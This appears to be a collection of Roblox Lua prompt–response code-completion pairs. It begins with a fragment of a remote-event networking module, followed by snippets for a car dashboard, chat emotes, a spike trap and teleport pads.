	p12 = string.lower(p12);
	local v28 = l__Events__1:FindFirstChild(p12);
	if not v28 then
		if u2 then
			local v29 = "RemoteEvent";
			if p13 then
				v29 = "RemoteFunction";
			end;
			local v30 = Instance.new(v29);
			v30.Name = p12;
			v30.Parent = l__Events__1;
			ListenRemote(p12, p13);
			return v30;
		end;
		local v31 = "a";
		if p13 then
			v31 = "b";
		end;
		l__MAIN__4:FireServer(v31, p12);
		while true do
			if not l__Events__1:FindFirstChild(p12) then

			else
				break;
			end;
			u1.RenderStepped();
		end;
		v28 = l__Events__1:FindFirstChild(p12);
		ListenRemote(p12, p13);
	end;
	return v28;
end;
local u5 = {};
function ListenRemote(p14, p15)
	local v32 = nil;
	p14 = string.lower(p14);
	v32 = GetRemote(p14, p15);
	if u5[p14] then
		return;
	end;
	u5[p14] = true;
	if u2 then
		if p15 then
			function v32.OnServerInvoke(p16, ...)
				return v2.Recieve("f", p14, p16, ...);
			end;
		else
			v32.OnServerEvent:Connect(function(p17, ...)
				v2.Recieve("e", p14, p17, ...);
			end);
		end;
	elseif p15 then
		function v32.OnClientInvoke(...)
			if not u2 then
				u1.Signal.Fire("CORE Network Invoked", p14);
			end;
			return v2.Recieve("d", p14, ...);
		end;
	else
		v32.OnClientEvent:Connect(function(...)
			v2.Recieve("c", p14, ...);
		end);
	end;
end;
function ClientInit()

	for v33, v34 in ipairs(l__Events__1:GetChildren()) do
		if v33 then

		else
			break;
		end;
		if v34.Name ~= "MAIN" then
			ListenRemote(v34.Name, v34:IsA("RemoteFunction"));
		end;
	end;
end;
if u2 then
	l__MAIN__4.OnServerEvent:Connect(function(p18, p19, p20, ...)
		v2.Recieve(p19, p20, ...);
	end);
end


Prompt:
--script.Parent.Speed.MouseButton1Click:connect(function()
--	if currentUnits==#UNITS then
--		currentUnits = 1
--	else
--		currentUnits = currentUnits+1
--	end
--	for i,v in pairs(script.Parent.Spd.G:GetChildren()) do
--		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
--	end
--	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
--end)

Response:
mouse.KeyDown:connect(function(key)
	if key=="v" then
		script.Parent.Visible=not script.Parent.Visible
	end
end)

script.Parent.Parent.Values.Gear.Changed:Connect(function()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then
		gearText = "N"
		car.Body.Dash.D.G.Tac.Gear.Text = "N"
		car.DriveSeat.Filter:FireServer('reverse',false)
	elseif gearText == -1 then
		gearText = "R"
		car.Body.Dash.D.G.Tac.Gear.Text = "R"
		car.DriveSeat.Filter:FireServer('reverse',true)
	end
	car.Body.Dash.D.G.Tac.Gear.Text = gearText
	car.Body.Dash.D.G.TacB.Gear.Text = gearText
	script.Parent.Tac.G.Gear.Text = gearText
end)

while wait() do
	local speed = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)
	local kph = math.floor(UNITS[2].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)
	for i, v in pairs(script.Parent.Tac.G:GetChildren()) do
		if v:IsA("Frame") and v.Name ~= "Unit" then
			local rt = math.abs(script.Parent.Tac.G.Needle.AbsoluteRotation - (v.AbsoluteRotation))
			v.Num.TextSize = math.max(18,(18 - (((rt/4)^2)-18)))
		end
	end
	for i, u in pairs(script.Parent.Spd.G:GetChildren()) do
		for j,v in pairs(u:GetChildren()) do
			if v:IsA("Frame") and v.Name ~= "Unit" then
				local st = math.abs(script.Parent.Spd.G.Needle.AbsoluteRotation - (v.AbsoluteRotation))
				if v:FindFirstChild("Num") then
					v.Num.TextSize = math.max(16,(16 - (((st/4)^2)-16)))
				end
			end
		end
	end
	car.Body.Dash.S.G.HB.S.HP.Text = (math.floor(script.Parent.Parent.Values.Horsepower.Value*0.75))
	car.Body.Dash.S.G.HB.S.Spd.Text = kph
end


Prompt: -- setup emote chat hook

Response:
game:GetService("Players").LocalPlayer.Chatted:connect(function(msg)
	local emote = ""
	if (string.sub(msg, 1, 3) == "/e ") then
		emote = string.sub(msg, 4)
	elseif (string.sub(msg, 1, 7) == "/emote ") then
		emote = string.sub(msg, 8)
	end

	if (pose == "Standing" and emoteNames[emote] ~= nil) then
		playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
	end
end)


Prompt: -- Import relevant references

Response:
local Selection = Core.Selection
local Support = Core.Support
local Security = Core.Security


Prompt:
--[[function ForEach(parent,func)
	if type(parent)=='table' then
		for _,i in pairs(parent) do
			func(i)
		end
	else
		for _,i in pairs(parent:GetChildren()) do
			func(i)
		end
	end
end]]

Response:
function MakeValue(class,name,value,parent)
	local temp = Instance.new(class)
	temp.Name = name
	temp.Value = value
	temp.Parent = parent
	return temp
end


Prompt: -- Folders --

Response:
local Remotes = RS.Remotes
local Modules = RS.Modules


Prompt: --Constructor and destructor

Response:
function spiketrap:New(object)
	--Initialize meta reference
	local self = setmetatable({}, {__index = spiketrap})

	--Use object information
	self.object = object
	self.root = object.PrimaryPart

	--Attach functions
	self.touch_player = TouchPlayer

	return self
end

function spiketrap:Destroy()

end

return spiketrap


Prompt:
--[[
	These keys don't do anything except make expectations read more cleanly
]]

Response:
local SELF_KEYS = {
	to = true,
	be = true,
	been = true,
	have = true,
	was = true,
	at = true,
}


Prompt: ------ VARIABLES ------

Response:
local folder = script.Parent
local padIsOneDirectional = folder:WaitForChild("OneWay")
local pad1 = folder:WaitForChild("Pad1")
local pad2 = folder:WaitForChild("Pad2")
local bounce = true